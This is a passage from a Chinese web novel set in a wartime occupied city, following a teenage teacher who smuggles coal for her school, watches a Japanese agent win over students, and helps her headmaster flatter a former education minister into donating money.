另外一边,张庄的村民们很高兴,有了这笔钱,村子里的人家,也能有钱买个布啊朵的,过年沾点荤腥了。人家来买煤的小姑娘也不含糊,都结的白花花,吹起来叮叮响的现大洋呢。 钱财到手,村长这回看春妮越发顺眼,听她说要借牛车驴车拉煤,二话不说,脖子往后一仰,扯着嗓子叫人:“大嘴,栓子,你们来帮着码煤,缩在后头干啥呢?” 春妮这会儿心情也不错,听见“大嘴”这个名字,她还想,自己到海城来前,好像就有个溃散的政府军就叫王大嘴吧,也不知道他们跟着涂铁柱回家乡后怎么样了。 然后,她就看见了—— “王大嘴,你怎么在这?!” 王大嘴也很惊讶的样子:“小顾妹子,咋是你啊?你说,这咱俩竟然有这缘份,这辈子还能再见一面!” 不对…… 春妮往后退了两步,作了个阻止的动作:“你先别过来,你不是跟涂铁柱到北边他家乡去了吗?怎么跑这来了?” 就算他不跟涂铁柱走,回到家乡,那也不该在这啊! 王大嘴呵呵笑:“这……叫我一句两句的咋说得清楚?那不是去年涂老大家乡发了旱灾,收不起粮食,我们几个瞅着过不去了,听说南边这日子比北边好过,就想来碰碰运气,本来也是想着,能不能去海城再见到你跟夏妹子。” “那你碰运气碰到海城张庄去了?”还一碰好几千里。 “嘿嘿,那不是我在这娶了个婆娘吗?就把家安下了。”他又问春妮:“小顾妹子,你现在在哪做事?哎哟喂,你现在老威风了,带着这么多小伙子走在前头,不主动招呼俺,俺都认不出来。” 春妮问他:“涂老大呢?这回怎么没见他出来?” “他留在了河西。我叔,保全,你还记得不?他也在村上,这回没跟出来。是吧村长?”王大嘴看出春妮还是不太信任他,拉着村长为他作证。 村长紧张地笑了笑:“是啊,咱这可真是大水冲了龙王庙,一家人不识一家人哪。这次知道姑娘跟大嘴认识,我下回再给你算便宜点。” “姐,咱得弄快点,都要到下午了。”李德三看出春妮不太想聊天,打断了王大嘴的问话。 春妮便顺势结束话题:“有什么事,咱往后再聊吧。” 说着,留下一个人看着煤球,招呼剩下的几个学生往山坡后头的卡车运煤。 七八吨煤还没填到一辆卡车的一半,十来个小伙子又绕到山边,一齐动手砍了几株毛竹盖到那车煤上,看着天将擦黑,把带出来的干粮都吃了,天色黑尽了,才招呼一声挤上车,由春妮慢吞吞开着,绕到苏河的最边缘远远熄了火,慢慢等待着。 远处的租界灯火通明,依稀可以听见汽笛的呜鸣声。而苏河这边黑悄悄的,脚下静静淌着的河水跟条黑带子似的,平铺在河沿底下,几乎没有声音。 这个地方已近海城市区,对面就是公共租界,离严广福所在的仓库不过百米之遥。前几天,那些夜里跑单帮的人几乎吵得春妮睡不着觉。而之所以现在这样安静,是因为就在前天,倭国人夜里巡察打死了两个跑单帮贩粮食的男人,尸体挂在他们这边的铁丝网上,还没有臭。 但这里前两天才死过人,一般人短时间不会再来,方便他们运货。 春妮望了眼铁丝网上的尸体,沉声道:“现在后悔,返回市区还来得及,我也不会怪你们,只当你们没来过。你们回了学校,还是好好的学生。” 没人吱声。 最后,是李铁柱笑了一声:“顾老师别说傻话了,咱在学校不是说得好好的?啥事都叫你一个人担着,俺们这十几条汉子成什么了?反正我来了,肯定不会走。吃枪子咱也认了,咱就是倒霉,没那个命,怨不着旁人。” “我也是。” “我跟铁柱哥一样。” “俺四舅也在夜里跑单帮,俺觉着俺不比俺四舅差。” “……” 春妮欣慰地笑了笑,经过一次次的历练,这些孩子中,总算有能用的了。 这时,对面一处点燃一只红灯笼,灯笼的光斑投在黑色的水面上,划出个波浪型的光斑,很快又灭了。 是李德三,他一早被春妮留在市区,帮着安排对面接应的人,现在他也准备好了。 “好,都跟我来,动作快点。”春妮精神一振,挑起一担煤,走到岸前打了个唿哨,一艘乌篷船从对面划过来,她拿钢钳将刚修补好的铁丝网重新撕开一个洞,当先一步跃下了船。 苏河不是啥大河,乌篷船两槁头一撑,就到了对岸。 船夫是干老了事的人,还有闲心问他们打听:“你们在哪弄的煤?这么多,该不是从开滦弄来的吧?”海城的煤几乎都来自开滦煤矿,但在全面抗战之前,就被倭国人占领了。 现在城里的煤涨到四毛一斤的天价,这一担煤,就是四十块钱。 他们运来的煤,市价至少价值一万块,太惹人眼馋了,连船夫都不顾行规,开始问东问西地惹人嫌。 几个学生都不作声,春妮暗自戒备:“划你的船,不该问的别问。” “你——”船夫瞪起眼睛,待看见黑洞洞的枪口,方脖子一缩,闭了嘴。 小船穿梭来回,很快一车煤被安全地运送到了对岸。 春妮舒了口气,这边李德三叫来接应的人不少。她准备让船夫撑回对岸,跟着卡车回租界。 但就在这时,她耳边忽然收集到一队整齐划一的脚步声,顿时脸色一变,一把夺过槁头撑回对面跳上了岸。 “快走,倭国巡逻兵来了!” 她丢下这句话,向卡车的方向狂奔过去。 与此同时,白色的手电筒向河面扫射过来。 船夫低咒一声,矮下身子,在倭国人发现之前,赶紧将船又撑回去,缩在了一片阴影之中。苏河以中线为界,但倭国人可不管,只要发现这里夜里有人,绝对会开枪。 平静的水面荡起阵阵余波,而卡车开动的声音也响了起来。 李铁柱几人趴在对岸等了又等,听见对面倭国人叭叭放了几枪,很快去远了。 “咱们先回吧,小顾老师肯定会没事的。” 李铁柱站了起来,望着身边的这些兄弟:“大家今天都看见了,倭国人很狡猾,随时都有可能抓到咱们。现在小顾老师不在这,我代她再问一声,还有没有想退出的?” 仍然没人答话。 沉默给了李铁柱最好的回答,他笑了笑,往汽车远去的方向看了一眼:“走吧。” 第119章 119 稳住 春妮和区明两个人开着卡车, 是在第二天早上跟着人流混入的租界。 回学校之前,他们先在江边接了管子,将卡车里里外外完全冲洗了三遍, 直到每一个缝隙都干干净净, 才将车开回学校。 上午七点多,正是学生上学,工人上班的时候。 师生两个停好车,看见山下肋下夹着公文包,正站在货厢外边抬头看车。 “车洗得不错。”山下称赞道。 “谢谢,请让一让。” 师生两个绕过他,返回小摊前, 区明回头看了一眼:“那个倭国人还在看咱们的车,他是不是发现什么了?” 春妮道:“就是他发现了, 你能怎么着?有本事他天天不吃不睡盯着咱啊。大方点,你看你这表情不自然,一看就是有鬼。” 昨天晚上运来的煤自然不能全部带回学校,大喇喇地全堆在操场上。他们没自己出面, 让王家兄弟在码头上租了个仓库放煤,王阿进这段时间也不跑单帮了, 就帮他们看煤场,一次拿出几天的用量,一点点往学校搬。 否则别人都没得用, 你一声不吭弄回来个煤山,是人都该知道不对劲。 事前春妮跟校长商量好, 如果这次的煤运的有多余的,可以以略低于市场价的价格卖给老师们。他们多出的钱,再以年终奖, 或是各项补贴的形式发还回去。这样,谁都挑不出理。 以及住棚户区的学生,那边空气湿冷,有条件的话,也要照顾一点。 再有,这些昨天跟他们搏命的学生们也不能亏待了。至少他们家里这个冬要用的煤,学校得给人家包了,还要另外再给一笔工资,不能因为是自己人就委屈了人家。 还有再多的,还能转卖出去,这样租仓库的费用也回来了,说不定还能再赚点。 “我就是不习惯……” “不习惯也得习惯。我觉着,有这么个人在这也好,好提醒你们做事再谨慎点。” 如果不是第一次见面,山下友幸对春妮亮过枪,这个人就跟她曾见过的有些倭国男人一样,勤勉,话不多,礼特多。 校长跟春妮吐槽过:“山下头一回跟我鞠躬,那一猛子扎下去,我还以为他想钻我□□呢。” 这话损得都不像校长说得出来的,由此可见校长是多不待见这个扎在学校不走的倭国人了。 上面态度在这,可想而知,整个学校会怎么对待他。 虽说倭国人凶名在外,没人敢真的欺负他,套他麻袋什么的,但他被孤立排挤是必然的。 即使这个倭国人在学校的生存环境这样恶劣,有一天,春妮却被告知,山下竟然还交到了朋友。 小报告是蒋四成向她打的。 自从李德三可以负责更重要的任务之后,春妮开始慢慢把他们这些白天班的学生提到夜班值班锻炼。能够挨得住小摊夜间班的人,都是人才,有李德三的例子在前,学生们竞相争取上岗,最后还是蒋四成和区明两个作为搭档被选上了。 蒋四成就是在上夜班的路上,碰见学校一个叫石锁的男孩跟山下交谈,他说他们有说有笑的,看上去很亲近。 石锁跟山下说话的原因在第二天也被调查了出来。 原来石锁的奶奶素有喉疾,那天他奶奶又犯了病,石锁正在跟朋友诉说奶奶的病情,山下走了过来,给了他一包润喉糖让他回去给奶奶含着。 “石锁说他原来不想接,但想到奶奶的病,还是拿了。不过他说,他还了一包大麦茶给山下,他们两人互不相欠,他也不会再理那个倭国人。” “倭国人咋见人就发糖?”问话的是罗阿水,他说:“有一回,那些倭国兵给我们村里孩子也发了糖,不过回去就叫家里大人给打了,糖也给从嘴里抠出来扔了。” “你们说,咱要不要教训一顿石锁?”区明一脸跃跃欲试。 “教训什么?”春妮道:“教训石锁不该孝敬奶奶?” “可那是倭国人的糖。” “倭国人糖怎么了?下毒了?不能吃?”见几人还别不过劲,春妮想起后世一句经典的话:“就算是糖衣炮弹,咱们把糖衣吃下肚,炮弹扔回去,不也是我们赚了?” “那就啥都不管了?” “别管他,只要他不干坏事。”春妮也想看看,这个倭国人葫芦里到底卖的什么药。 在春妮他们偷偷积攒着煤块,为过冬作准备的这些日子里,山下友幸的目的也随之浮出了水面。 跟对付石锁一样,山下友幸在此期间,通过类似的方法又认识了好几个学校的学生。 他们有的是家里人生了病,有的是没有工作,还有的是需要学习资料……只要山下友幸知道,对方又不排斥,他就像个普通的热心肠大叔一样,向他们伸出了援手。 慢慢地,他身边也开始时不时有学生,甚至还有老师向他打起了招呼。他再进出学校时,身边也有了人跟他打招呼。 对于这一点,大部分学生自然是看不惯的,觉得身边出现了背叛者,但因为有春妮他 们的强力弹压,暂时没有闹出什么乱子。 这期间,夏风萍和朱家辉的婚礼在海城大酒店顺利举行,学校的老师们都去吃了酒,见证了那一双新人穿着洁白的婚纱和西装,在亲友们的祝福之中迈入了昌平路的新居。 夏风萍在石库门居住的历史,也随之落幕了。 现在,春妮除了偶尔帮普尔南老爷爷送送米妮回家,几乎不再去那栋盛载了她初到海城所有经历的小洋房。 夏风萍和朱先生结婚搬家后,石库门空下来的两间房子迅速迎来了新住客。吉拉太太有时候碰到春妮,会跟她抱怨,新住客一点也不像她一样勤快干净,总把房子弄得乱糟糟的,还非要拆掉他们的柴灶,想换煤气灶云云。属于他们的印记,一点一点地被新住客覆盖了。 如今吉拉太太学会了一点华国话,跟丁太太倒是有了些话题聊天。 只是丁太太还跟以前一样,说不到两句话就要抱怨,因为日子太难过,他们家的女孩子已经被送回了乡下,供不起上学了。话里话外向春妮打听,夏家的那栋小洋楼出不出租,作价几何。 她十月底收到请柬,跟石库门的老街坊们去吃了夏风萍的酒席,才知道身边竟市隐着一位大富婆,后悔得不得了,时常去学校找夏风萍说话。 夏风萍如今跟学校的实验室合作,因为翻译文献的事,认识了不少海城电气和机械类的专家,时常帮他们整理资料,翻译了寄往国外发表,在小圈子里竟还有了些名气。结婚后要经营家庭,如今她越发忙碌,是没什么功夫理会于太太的。 于太太去学校,多数还是由春妮招待她到小摊子上坐坐,再赶在于先生放学前急忙忙回家。 就在平凡而琐碎的日常生活中,学校里传出了一则消息。 倭国人设在津城的工厂在高薪招聘工匠,如果有人愿意前去应聘,月薪五十块起步,还包吃包住! 一个月五十块……现在工厂的正式工,一个月平均工资也才二十块钱,即使工厂采用计件制度,在最旺季的八月份,工资和奖金相加,也才勉强达到五十块多钱的工资,而倭国人的工厂,一去就有五十块钱,这钱也太好挣了! 一时人心浮动。 “一定是山下那小鬼子散布出来的!”区明一拳砸到桌子上,怒道:“竟还有人相信他编的瞎话,这些人长没长脑子?” “你先别抱怨了,咱们得想想办法,把人稳住。”蒋四成去看春妮。 春妮问他们:“你们觉得,这个消息,是不是真的?” 海城有不少倭国企业,去年他们也有学生毕业后去倭国人的企业里应聘当了工人。其实学校不抵触学生到倭国人工厂做事,毕竟活下来才是最重要的。但她觉得,山下在这观察这么久,目的可能没这么简单。 何况津市比旧京还远,早在全面抗战前就已经沦陷,要跨越一整个华国海峡,真的会有人愿意去吗? 但山下友幸的所为也为春妮解开了一个疑惑:如果连德江他们更看中学校培养的学生的话,那的确保持现状对彼此都是最好的状态。 毕竟,假如他们采用激烈的手段将学校抢到手,那可能会跟吴江大学一样,要么逼得学生游|行罢学,要么校方关掉海城的学校远避到敌后去,那么,倭国人自然就鸡飞蛋打了。 现在的山下只能缩在学校里,利用一些小恩小惠达到目的,这还真的可能是妥协了的缘故。 毕竟学校真落进他们的手上,想要什么学生,直接装上车就走,巡捕房的那些软蛋还能真把他们怎么样不成? 学生们七嘴八舌开口:“我反正觉得有古怪。” “我也是,咱们工厂这么厚道,工人也拿不到五十块那么高的工资,指望倭国人,怎么可能?” “话也不能这么说,海城有些倭国人的工厂是比华国待遇好啊。” “你这话什么意思?觉得倭国人好,你去跟山下报名啊,他肯定乐意得很。” “我可没这么说,我是说我娘,她在倭国人的纱厂干活,在那边吃的是比她在华国人工厂干活时吃得好一点嘛。” “那是你娘工作的纱厂厂主不是人,又不是所有华国人纱厂都是这样的,哪个地方不是有好有坏?” 再说下去,该打起来了。 春妮只好出来拉架:“行了,都回去上课去。山下那边,你们都注意着些,看看有谁被他说动了。” 其实她心里也嘀咕,津市的工厂高薪跑到海城来拉人,这事,怎么听着这么怪呢? 第120章 120 募集 不管怎么说, 山下友幸承诺的好日子远在津市,学校提供的幸福生活近在眼前。只要眼睛不瞎,明眼人都知道怎么选。 对学校的学生和老师们而言, 从年头开始, 现在将要到年末,学校的日子一天比一天好过。哪怕外面是风霜雪剑,师长们劈开剑棘,如何用一身血肉之躯为他们撑起这间小小的学校,让他们在学校这小小的一方天地得以平安,大家都是有目共睹。 这一年中,海城内风云变幻, 海城外战火连绵。学校就像在暴雨中穿梭的小舟一般,将倾未倾, 却非但未倾,还护佑着一船的学生平安度过了一载春秋。 他们真正做到了将战火阻于校园之外,在最危急的时候,也没有想过撤退休课, 抛弃这些学生,让学生们无学可上。 在没有外援, 没有资助的情况下,他们自力更生,另寻生路, 这已经是他们能力范围内所能做到的极致。 可人力有时尽。 这世界不幸的人太多,即使是学校, 也只能保证学生有两餐平安饭吃,再勉强发一身冬衣,送几个煤球。其他的, 也没有能力顾上。 山下友幸不可能不知道校方对他的防备,但他就像被设定好指令的机器人,不管校方师生怎么对他,他仍旧能够找到机会去接近需要帮助的学生。 那么,校方能阻止学生接受帮助吗? 如果山下带着明显的恶意,校长拼着命不要,也会阻止,可是人家说了,没有什么目的,只是看见了不幸的人,想帮一帮人家。 话到这份上了,还能怎么办? 在春妮小的时候,基地还没有那样强大,附近的基地想吸引大人们去他们那里扎根,甩出了很多优越的条件,也有不少人动心,改换了门面。那一次的竞争,直接让基地壮年人口去了三分之一,留下的,全是他们这些没法立刻用上的老弱病残。那次人员的大量流失,差点让基地分崩离析,但即使在最艰难的时刻,基地领导硬撑着没有甩掉他们这些包袱,撑过这段时间之后,基地仁名传遍幸存者,又迎来了新一波人潮的投奔。 而之前挖人的基地也曝露出不拿本土人士当人,利用老人孩子当诱饵等坏事,很快从内部瓦解了。 倭国人里不是没有同情华国人,帮助过华国人的好人,也不止春妮遇到过这样的人。如果山下友幸真的是这样的人,那没什么好说的,师生们肯定同样当朋友一样看待。可他和他的主人一开始就带着那样的恶意出现在他们面前,这让校方很难放下心来。 春妮有过一次类似的经历,她知道,一时的得失并不能说明什么。只要他们能够稳住,学生们迟早有醒悟的一天,山下友幸不可能得逞。 她早有预料还好说,校长和老师们眼看围在山下身边的学生越来越多,总怕孩子们年纪小,被人骗得没了命,才是真的急坏了。 校长一向喜欢从内部寻找原因,他总觉得,是学校创造的条件没法让孩子安心读书,才让他们想东想西的没个消停。因此,没过两天,他就找了个事把春妮叫来让她跟韩厂长几个人来做。 工厂的合作商郭氏木行老板的母亲过七十大寿,邀请方校长和韩厂长他们几个高管去赴他老母亲的寿筵。 工厂做出小小名气之后,收到过很多类似的请柬,但当下的富人做筵席喜欢请舞厅的红小姐,或是当红的戏班子助兴,酒至酣时,什么丑事都可能发生。 校长觉得,经常参加这样的活动,耽误时间不说,还容易腐蚀人心志,染上不良习惯,往往请柬不到其他人面前,全都叫他给拒了。 这次校长愿意破例,除了看在此次只是老人寿筵,一般闹得不会太过分的份上,还存 了一份能从酒筵上募到些善款的想法。 他们学校前身的报童学校便是张、常、江三位先生多方募集善款捐建而来,对这套程序,校长一点都不陌生。只是几位先生相继离开海城,方校长不是本地人,素来没什么名气,又没有同行带挈,才只能依靠自己度过难关。 如今有山下友幸的步步暗逼,校长忽地想起这件事,拨出几十块钱让韩厂长和春妮几个做了两身好衣裳,到了郭老太太寿筵那天,披盔带甲地带着两个得力干将杀了过去。 筵席设在郭家在华界新买的花园洋房里。 方校长三人今天特地穿得花团锦簇,因而从主人家下人到宾客都很肯给三个人面子。席面还没开,方校长名片先接了一兜子。 他长了个心眼,跟众人自我介绍时,没说自己就是大名鼎鼎的“睡美人”经营者,只说自己是江浦基础技能学校的校长。他的想法是,时人敬慕读书人,校长这个身份抬出来,比厂长更受人看重,成功率可能也要高一些。 席间竟还有不少人知道这所学校,就问校长说,这学校是不是主要培养木工?校长免不得要先介绍一遍。 学校目前教授的大类的确是木工,但凭夏风萍在翻译界打开的局面,相继又开设了机械系,电气系,还有传统的会计系,打字系,速记系等等等等,杂七杂八设了十来个类目的技术科目教授。 听上去唬人,但大部分学生都是六岁左右,还在学认字的小萝卜头,按校长的标准,至少得教个五六年,等他们毕业了才好上岗。 现在海城开短期班的学校还有一些,倒是这些愿意收小学生的学校被倭国人炸得不剩几个。 外人不知道,自然以为学校培养的学生都是海城那种最流行的短期速成班,两个月就能上岗使用的。 郭家是商户人家,请的差不多都是相同阶级的客人,各自有不同的用人需求,校长怎么说也是书香门第出身,因而有些人听得十分入神。然而,等校长一提起学校的资金问题,刚刚还有一堆问题咨询的客人瞬间跑得一个不剩。 幸而年底的宴会多,郭家没有收获,总有王家,王家找不到,总有李家…… 方校长越挫越勇,刚开始还筛选宴会的类别,到后来干脆来者不拒,只要有人请他,他必定应声赴约。如此一个月下来,他拉到多少赞助暂时还不知道,但春妮天天山珍海味吃下来,她的脸硬生生吃圆了一大圈,也蹿高了好大一截,原来的衣裳都不能穿了。 或许是这一年没亏着嘴,将近十四岁的少女来了初潮,身上的曲线也有了小小的起伏,再也不能只靠戴着个帽子就让人错以为她是个小子了。 以至于两月不见,春妮跟万管家在一家宴席上碰面时,老头吃了一惊:“女大十八变哪,这才过了多久,顾小姐就变得老夫差点认不出来了。” 他们是在公共租界财务处一位处长家宴上碰的面,原本凭方校长的级别,并够不上财长家的宴席,但他这一个月的钻营毕竟有些用,有人给了他一张“携眷前来”的请柬,他便携着春妮过来了。 财长家的宴会跟商户人家自然有所不同,万管家来前,春妮正被方校长撇下到处交际,她四下里找不到认识的人,正闲得拈红丝绒蛋糕上的蓝莓果吃。此时碰着个熟人,自然要拉住多说两句话。 万管家了解这师生两个,也好奇她来参加宴会的原因,听她说完之后,叹了句:“你们也不容易啊。”却也没再说多的话。 万管家出门代表着江致清的体面,即便知道他们的困难,主人没发话,这样的忙,自然轻易是不肯帮的。但他不介意指点两句:“这年头,汉奸多,发爱国财的骗子也多,大伙害怕上当,防心也重,你们在这圈子里是生人,想化缘,没那么容易。” 春妮的眼睛亮了亮,万管家笑道:“其实你们只要说你们是睡美人的厂家,多的是捧着钱来投资的人。” “不行不行,”春妮连忙摆手:“那边暂时不需要投资。” 好多趣有连德江那个假华国人在,短时间之内不宜再有其他变动,若是听了万管家的话,谁知道引来的是狼还是犬? 万管家笑道:“谁说要你们拿睡美人来投资?你们只需放出自己是睡美人厂家的风声,说有个相关的什么项目需要投资,多的是人愿意捧着钱来冒险。再说了,一个不知名学校和一个知名产业主,他们说话的分量一样吗?” 万管家同方校长一个从社会地位考虑,一个从知名度考虑,都各有各的道理。而且学校要的不是投资,而是捐款,即使依靠睡美人的名气,他们吸引来投资,也不能随着心意去用吧? 最要紧的,他们以什么名义拉投资都没想明白,怎么好以这个名头糊弄人? 这涉及到春妮的知识盲点,因而她没有马上答话。 万管家人老成精,他其实很欣赏春妮这个小姑娘,不介意多指点两句。 正好财长家的大门里又走进来一个穿西装戴眼镜,头发稀疏的瘦高个,万管家示意她看过去,道:“你就像付鸿民这个人。他以前是双城政府的教育部长,但旧政府的大员在这里谁理会?你知道他现在行走海城,拿出来的名号是什么?” “是什么?” “锦阳大酒店的大股东。” 春妮的记性极好,看到来人,她也想了起来。最近宴会多,她跟付鸿民有时在某家宴会上会碰到,有过数面之缘。而她第一次认识这个人,是在去年金小姐的婚宴上,当时还跟朱先生和夏风萍两个八卦过他的私事,夏风萍痛批他,说他过于好色,完全是教育界的败类。 “锦阳大酒店?那不是城西的赌场吗?” “对,就是那里。付鸿民这人,其他的不提,为人极擅钻营,你可以想想,为什么他不打政府大员的旗号,反而出门在外,处处只说自己是锦阳大酒店的股东?” 春妮却对另外一个问题感兴趣:“付家家境怎样?” “一般吧,据说是明州的地主出身。”这样的家世,的确在海城很一般。 “那他哪来的钱——” “万管家,您老人家也在?”方校长举着酒杯走了过来,笑问道:“你们在聊什么?” 春妮指了指付鸿民:“在聊那位前政府教育部长付鸿民,他——” “教育部长?”方校长眼睛一亮,走了过去。 120-130 第121章 121 排场 方校长热情地迎上去:“付部长。” 财长家的宴会, 付鸿民自然不会还跟在舞女上的婚宴那样放诞急色。 方校长跟他打招呼时,他露出谦逊的笑容:“不敢,现在哪里还有‘付部长’, 我早就不是付部长啦。对了, 还没请教先生尊讳?” “在下是江浦基础技能学校的校长,鄙姓方。” 江浦基础技能学校?没听过,想来又是战后冒出来骗钱的小学校吧? 付鸿民一听,就没有了兴趣,正想找个借口离开,一个小姑娘的声音插进来:“校长,你跟付部长说说我们‘睡美人’啊。” “美人?”付鸿民眼睛微微发亮。 春妮:“……是睡美人的麻将凉席, 百货商场夏天卖过。付部长没听说过吗?” 虽然不明白为什么春妮突然插话,但方校长知道, 她不是乱来的性子,因而没打断她,还配合地站在旁边点头:“不错,刚刚鄙人忘了说, 因为学校资金不足,我们只能想办法开了个厂子, 用工厂的盈利支撑学校的支出。” 付鸿民这时也想了起来,笑容略暧昧:“哦,那个‘睡美人’啊?原来是你们学校的产品?唉, 你们学校在哪?” “在闸口路附近的码头,付部长有时间一定要赏光去看看。” “一定一定。”付鸿民随口应付着, 准备走开。 “那就明天,怎么样?”春妮一句话,又拦住了付鸿民的去路。 她像不知道面前人已经不耐烦一样, 语气恭维 :“说起来,我们学校还没有被像您这样的大人物参观过呢。您要是能来给我们训两句话,我们学校的老师和学生肯定高兴得要跳起来。” 有多久没听见人跟他这么说话了……付鸿民怀念地想。 他觉得这个说话好听的小姑娘看着顺眼了不少,认真想了一下:“那就明天吧。”反正他现在赋闲在家,没有别的事。到学校去见一见可爱的女学生和漂亮的女老师,调剂调剂无聊的生活也不错。 “那请问明天我们去哪接您呢?” “接我?哦哦,你到任城路21号,找祝小姐。” “任城路21号,找祝小姐。”春妮笑容不变,为防万一,还要了付鸿民家的地址,拉着方校长离开了。 跟春妮不同,方校长听见付鸿民报出“任城路”这个位置,脸色就变了。 这条路同样位于城西华界,原本是吴江边的一条小弄堂,跟赌场遍布的爱莎路为邻,在战前就是海城有名的红灯区。 这个付鸿民让他们去那里寻他,哪怕校长没听过他的名头,他身上还挂着前教育部长的名头,也足以令校长生出警惕。 这会儿两人避开人群,校长眉头忍不住皱起来,对春妮道:“这姓付的不是正经人,咱们明天——” “咱们明天当然要去接他。”春妮道:“刚刚跟人家说好,您不会现在就后悔了吧?” “那是你说的,我可没说。”校长也不傻。 春妮知道校长的命门在哪,因而道:“那可是前政府教育高官。就算您看不上他,可他结交的人非富即贵,还有以前教育界的一些关系,对我们肯定也有用。” “这人不正派。我是怕,万一他去了学校之后,跟赵发财似的,又惹出些是非。”方校长低声道:“为了这种事,咱们已经损失了一个胡老师,可再也经不起再来一次了。” 赵发财消失后,他带来的那些流言并没有消失。如果他换一个人骚扰 ,可能不会对其他人有什么困扰,但胡老师只是个刚出学校没多久的未婚女老师,哪里经得起被人传这样的谣言?在家里待了几天后,就打电话来说要辞职。 胡老师是学校第一批老师,人品和业务都没得说。后来还管着学校印刷厂的一部分业务,也是兢兢业业,从不出差错,校长怎么舍得放她走?就是不看在她工作能力的份上,她为人温柔可爱,也是位极好的同事和老师,听说她要辞职,连她班里的学生听说都急坏了。 奈何胡老师去意坚决,校长苦留不住,只好退了一步,跟她深谈一次,正好温南的工人需要培训,他将温老师送到温南,现在她已经悄悄启程好些天了。 走了一个胡老师和郑经理,学校不得不又开始了招人。胡老师一人打两人工,郑经理掌握着工厂的销售渠道,他们的缺员不是那么好顶上。 还好现在工厂的运作都进入了常规状态,印刷厂半死不活,就是走了人,也勉强能运行,不至于马上瘫痪。 春妮对这姓付的倒是有些了解,她道:“好歹这也是曾经的教育大员,就是再没品,也不可能跟赵发财那样的癞子狗似的粘着人屁股后头不放。他好色归好色,但一般只在风月场玩,并没有闹出不可收拾的绯闻,您不用怕得这么厉害。” 见校长犹豫,她又道:“何况他现在是只落架的鸡,要是他真敢怎么样,咱们也不用怕他。大不了,明天我请季老师去陪他。” 方校长想起季老师对付那些男人的横样,一个没忍住,嘿嘿笑了。 春妮就说:“校长您也别光顾着笑,好好想想明天怎么忽悠,呃,怎么让付鸿民答应掏钱,咳,答应帮忙。” 好歹是曾经的教育大员,别管方校长心里怎么样,第二天一早,仍是从出租车公司租了辆车,带着林老师去了任城路21号。 尹老师迟迟不归,校长助理的位置却不能老空着。方校长估计是存了尹老师还会回来的念想,将教副课的林老师提拔起来,让他暂时填了尹老师的空。 现在学校里招的季老师也是美术老师,林老师便将所有初级班的美术大课都让出来给季老师教。他专门只负责教授高级班和短期班的美术鉴赏课,以及全校的音乐课。因为玩具厂撑起了整个学校,对印刷厂的要求不再逼得那样紧,林老师闲暇之余,再研究研究彩印制版的问题,时间比起先前充裕了许多,不知过得多快活。 可惜,林老师不知道,他这样快活的日子恐怕要一去不复回了。 上午十点出头,学校做课间操的时间,出租车载着付鸿民终于到了学校。 付鸿民下了车,刚进学校,一个扎着羊角辫,穿着海军蓝校服的女学生捧着一大束花向他走来,大声道:“欢迎付部长指导我们学习。”说着,将这一大捧康乃馨塞进他怀里,又鞠了个大躬。 付鸿民脸上忍不住绽出个笑:“哎呀,还搞得这么隆重?” 方校长看着他的目光欣喜而热切:“哪里哪里,像付部长这样的大人物,再隆重都应该。校舍简陋,我们生怕多有怠慢,您不嫌弃就好。” 方校长也历练出来了。 他伸手虚引,让付鸿民负手走在前头。 进入学校,这才发现校门左右还列着两队穿同色校服的小学生,最前头的那个手持一杆金色木棒,忽地往上一举,那些小学生们转头过来,口中大呼:“欢迎欢迎,热烈欢迎!”齐齐咧开嘴,露出灿烂天真的笑容。 付鸿民惊笑道:“老方,没想到你还藏了这一手?” 这是拍对方向了,一会儿功夫就从“方校长”到了“老方”,看来这个姓付的就是喜欢这些排场。 方校长一路将付鸿民送到操场正中的演讲台上,笑道:“请部长给学生们训话。” 付鸿民当过旧政府大官,尽管事前没有准备,在一群小学生面前训训话还是难不倒他的。 他也不要演讲稿,直接站在讲台前面侃侃而谈,说起来不过是勉励学生们好好学习,展望他们未来可期的套话,但他每一次停顿,就有坐在最前边的老师作恍然大悟状,似乎他的话是怎样的至理名言,而他每一次的卡词就有人顺畅无比地接应下去。 特别是那个年轻可爱的顾老师,简直是最贴心的安琪儿,他说了什么,她都能理解,他想说什么,她都能知道! 付鸿民已经很久没有享受过这样众星捧月的排场了,以至于他在台上潸然泪下:“看到你们,我就知道,吾国之少年雄风不坠,贵校之老师品格高尚。惜乎吾已是一介白身,否则吾必燃尽吾最后一滴血……” 半个小时的演讲完毕,台上台下眼睛红了一大片。 方校长擦着眼睛迎上前,哽咽道:“想不到付公情操如此高尚,您明明已无公职在身,却要为我们学校捐款,这……这我们愧不敢受啊。” 付鸿民:“啊?”我什么时候说过这话?我说我燃尽最后一滴血,不是指的我准备捐钱啊。 春妮也擦着眼睛道:“付公一片心意,即使有愧,咱们也不能让付公的心意无处安放。您说是吧?付公。” 付公不觉得“是”,并且想抬脚马上走人。 这些人把他捧在这弄这些排场,该不会是想把他架起来,逼他捐钱吧? 不得不说,付鸿民能当上教育部长,脑子至少是够用的。 方校长长声一叹:“付公真乃高尚之人,流言误我,往日我竟险些以为付公——” 付鸿民越听越不妙,正想打断他说话。 只听这个一开始他看着就很顺眼的小姑娘道:“校长,咱们不还有正在研究的投资项目吗?您不如请付公帮着掌掌眼。” 付鸿民立马问道:“什么投资?是‘睡美人’的投资?” 方校长恍然大悟:“对对对,差点给忘了。对了,付公,您刚刚说您要捐多少来着?” 付鸿民:“……”能跳过捐款,直接说投资的事吗? 第122章 122 项目 付鸿民最后捏着鼻子, 捐了一千块大洋。 他倒是想随便掏个十块二十块应景,可左边一个方校长说,冬天湿冷, 学校宿舍只有几床烂草席可避寒, 右边一个小顾老师在展望,学校要投资的新项目将会填补海城市场的又一项空白,可惜一无场地二无设备,只怕想正式启动,难上加难。 这一千块多半看在“睡美人”的份上,还有一小半,大约是听说他们还是全城最大的多米诺生产厂家的份上。 至于有多少是给的学生, 那就只有付公一个人知道了。 春妮瞧他唉声叹气签完支票,之后在众老师面前再发表了一出感人肺腑的讲话, 听说校长想留他在学校食堂体会学生们过的艰苦生活,摆摆手让他们不要客气,离开了学校。最后,他钻进出租车, 春妮听见他让司机送他去醉天星,觉得他应该还颇有余资。 醉天星是海城一所有名的大戏园子。 这位前教育部长下野后的日子看来过得不是一般的多姿多彩。 当然, 他走之前,得到了校长的承诺,会将这次的投资项目以书面的形式正式整理出一份文件给他, 再由他决定要不要参与。 事事安排好,样样准备做在前的妥贴……只要忽略这样的体面是花一千块钱买来的, 还是很能让人有一阵子愉悦感的。 送走付鸿民之后,方校长拉着几个骨干进办公室开会。 开会之前,王老师问了个问题:“校长, 付鸿民这么能花,他会有多的钱投资咱们的项目?” 王老师主抓工厂和学校的财务,对这个问题一向比一般人都敏感。 